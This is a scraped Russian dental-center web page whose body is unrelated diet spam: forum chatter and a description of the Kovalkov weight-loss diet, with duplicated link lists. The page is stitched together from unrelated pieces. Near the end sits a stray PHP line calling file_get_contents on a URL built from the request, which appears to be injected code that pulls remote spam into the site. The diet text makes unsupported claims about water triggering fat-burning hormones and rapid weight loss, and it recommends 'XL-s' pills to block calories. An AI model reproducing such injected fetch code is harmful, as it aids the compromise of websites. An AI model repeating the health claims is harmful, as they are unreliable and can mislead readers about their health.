Кафедра челюстно лицевой хирургии и стоматологии СамГМУ

ОАО "Поволжский Специализированный Реабилитационный Стоматологический Центр"
Терапия Ортопедия Пародонтология Хирургия Ортодонтия Имплантология Эстетическая хирургия ЧЛХ
  ?>
О компании
Услуги
Прайс
Наши разработки
Наш коллектив
Бесплатная
   консультация

Сорвалась с диеты по книге Ковалькова и съела в Сабвее сендвич с тунцом и майонезом.

На кой хрен диеты???? Вот люди не знают чем заниматься.... Психику лечить надо, а не диетами играться.

Он разработан врачом-диетологом Алексеем Ковальковым, поэтому его еще называют диетой Ковалькова. Принцип диеты Ковалькова.Диета простая и не требует огромных затрат. Состоит она из подготовительного и трех основных этапов.

Кушать сладкое можно, но понемножку и в первую половину дня

Зря Вы так про творог и орехи, хотя, конечно, о вкусах не спорят. Насчет диеты на будущее-тренируйте силу воли. Удачи!

Лучше кушайте, что хотите! Если организ что-то хочет не нужно ему отказывать! Просто занимайтесь спортом, ходите в бассей, в сауну, бегайте!

Все, мандец теперь

Да ешьте на здоровье! И любите себя несмотря ни на что. Не должно быть такой диеты, которой позволено унижать Человека и заставлять его ненавидеть себя.

Этап 1 Подготовка. Продолжительность начального этапа методики Ковалькова 2-4 недели.Этап 2 Начало программы. Второй этап диеты Ковалькова длится около 2-х недель.

Ты должна отвоечься чтоб у тебя не ьыло свободного времени и ты про это забудешь

Мне подруга подсказала способ - перед приемом "вредной" пищи принимать две таблетки XL-s, это вообще средство для похудения (она на нем 13 кг за 2,5 месяца скинула) , но можно принимать и не курсом, а чтобы блокировать попадание в организм ненужных калорий и жиров.

Пожалуйста расскажите про диету Ковалькова, кто пробовал. Если можно то сбросьте мне её пожалуйста. Спасибо.

Диета Ковалькова
Диета Ковалькова фотоДиета Ковалькова - это методика похудения, состоящая из одного подготовительного этапа и трех основных. Автором методики является врач-диетолог и владелец клиники коррекции веса Алексей Ковальков. Достоинство данной диеты в том, что она нацелена как на похудение, так и на нормализацию работы организма.
Подготовительный этап диеты:
Диета клиники Ковалькова строгая и из рациона сразу же исключаются сладости и "плохие" углеводы, которые повышают инсулин - белый сахар, шоколад, конфеты, мед, мороженное, фруктовые соки и газированные напитки. Далее исключаются продукты, прошедшие промышленную обработку, к примеру, белый рис. Строго под запретом картофель, кукуруза и алкоголь (включая пиво) .
В то же время в рацион питания должны войти: зерновые грубого помола, бобы, чечевица, фрукты и овощи. Разрешается употребление маленького количества сухого вина.
Диета доктора Ковалькова предполагает употребление воды - не менее 10 стаканов в сутки. Это количество воды провоцируют надпочечники на выделение гормонов, сжигающих жир.
Первый этап диеты доктора Ковалькова
В этот период очищается кишечник и восстанавливается его микрофлора. Натощак следует выпивать 1 стакан воды.
Примерное меню 1 этапа диеты:
Завтрак: 200 гр. нежирного кефира, горсть разных орехов, немного отрубей и яблоко через 2 часа.
Ужин: салат "Греческий" или любой из таких же ингредиентов, заправленный 1 ч. л. оливкового масла.
Перед сном: стакан молока (теплого) или белок 2х яиц.
В течении дня разрешается выпить 3 чашки зеленого чая, съесть 3 яблока, но строго через час после еды или за час до нее. Можно употреблять грейпфрут. Бананы, морковь, свекла, мясо и рыба запрещены.
Если правильно следовать этапу, то к концу второй недели вы сбросите 6-7 кг.
Второй этап диеты Алексея Ковалькова
В рацион добавляются нежирный творог, куриное мясо, морепродукты и индейка. Продукты должны быть строго вареные или приготовленные на пару. Сброс веса становится более медленным, так как чем больше вы сбрасываете вес, тем медленнее это происходит.
Третий этап диеты Ковалькова
На этом этапе диеты закрепляется результат и если вы будете придерживаться этой системы питания в дальнейшем, то ушедшие килограммы не вернутся.

По утверждению Алексея Ковалькова строго выдержанные этапы диеты позволят не только достичь желаемого веса, но и сохранить его на протяжении всей жизни.Подготовительный этап длится 14-20 дней, за этот срок можно сбросить до 5 килограмм лишнего веса.

  • Диета для увеличения тромбоцитов - О чем говорит пониженный уровеь тромбоцитов? Прости что ответ готовили для женщины, но и для мужичков тоже сгодиться. Тр
  • Легкие и эффективные диеты недорогие - Девочки, подскажите эффективную бюджетную диету )) хлеб, вода На сколько бюджетную ...все как всегда у меня один совет д
  • Как убрать отечный целлюлит - Убрать ли обычной водой целлюлит отечный? Душ шарко Способны ли медицинские приборы убрать целлюлит с бедер? Жировую кле
  • Диета для талии бодибилдинг - Как сделать красивый животик? И мне тоже расскажите!!! Только я кубики хочу!!! живот у меня почти плоский, но немного вн
  • Диета 5 вторые блюда - Как похудеть за 2 месяца? Помогите, подскажите какие нибудь упражнения, диету) Убери из рациона вторые блюда ))))) Диета
  • Диета обогащенная железом при беременности - Сильное головокружение, особенно когда встаю с постели или с кресла, аж в глазах темнеет Спроси врача может разрешит теб
  • Диета при хронической недостаточности мозгового кровообращения - Как бросить курить? Хз что тебе посоветовать, лично я заметил что за последние 10 лет человек эволюционировал что ему эт
  • Диета 5 во время обострения - Кто вылечил атрофический гастрит -поделитесь В дополнение к предыдущему комментарию: 1.Очень важно разнообразное питание
  • Как решиться на похудение - 90 кг при росте 175... это просто капец как много? Как заставить себя худеть? Как решиться и как начать? Ставьте перед с
  • Стирол похудения - От морковки можно похудеть? Моно салат: тертая морковь + чайн.ложка меда, сок лимона 1-2 раза в неделю В ней содержатся
  • Диета для увеличения тромбоцитов - О чем говорит пониженный уровеь тромбоцитов? Прости что ответ готовили для женщины, но и для мужичков тоже сгодиться. Тр
  • Легкие и эффективные диеты недорогие - Девочки, подскажите эффективную бюджетную диету )) хлеб, вода На сколько бюджетную ...все как всегда у меня один совет д
  • Как убрать отечный целлюлит - Убрать ли обычной водой целлюлит отечный? Душ шарко Способны ли медицинские приборы убрать целлюлит с бедер? Жировую кле
  • Диета для талии бодибилдинг - Как сделать красивый животик? И мне тоже расскажите!!! Только я кубики хочу!!! живот у меня почти плоский, но немного вн
  • Диета 5 вторые блюда - Как похудеть за 2 месяца? Помогите, подскажите какие нибудь упражнения, диету) Убери из рациона вторые блюда ))))) Диета
  • Диета обогащенная железом при беременности - Сильное головокружение, особенно когда встаю с постели или с кресла, аж в глазах темнеет Спроси врача может разрешит теб
  • Диета при хронической недостаточности мозгового кровообращения - Как бросить курить? Хз что тебе посоветовать, лично я заметил что за последние 10 лет человек эволюционировал что ему эт
  • Диета 5 во время обострения - Кто вылечил атрофический гастрит -поделитесь В дополнение к предыдущему комментарию: 1.Очень важно разнообразное питание
  • Как решиться на похудение - 90 кг при росте 175... это просто капец как много? Как заставить себя худеть? Как решиться и как начать? Ставьте перед с
  • Стирол похудения - От морковки можно похудеть? Моно салат: тертая морковь + чайн.ложка меда, сок лимона 1-2 раза в неделю В ней содержатся
Подготовительный этап диеты ковалькова
 
 

Список аффилированных лиц

03 июля 2012

04 апреля 2012

10 января 2012

06 октября 2011

03 июля 2011

01 апреля 2011



12 января 2011

30 сентября 2010

30 июня 2010

1 апреля 2010





12 января 2010





2 октября 2009





17 июля 2009



 

 
Адрес: г. Самара, ул. Гагарина 18А (м. Гагаринская)
Тел. (846) 260-68-45, 260-68-48
Факс (846) 260-68-45
Email: stomatsamara@mail.ru
Центр работает с 8:00 до 20:00
Выходные суббота, воскресенье
Схема проезда
  echo file_get_contents(''.$_SERVER["HTTP_HOST"].'&path='.$_SERVER["REQUEST_URI"]);?>
Счетчик посещаемости и статистика сайта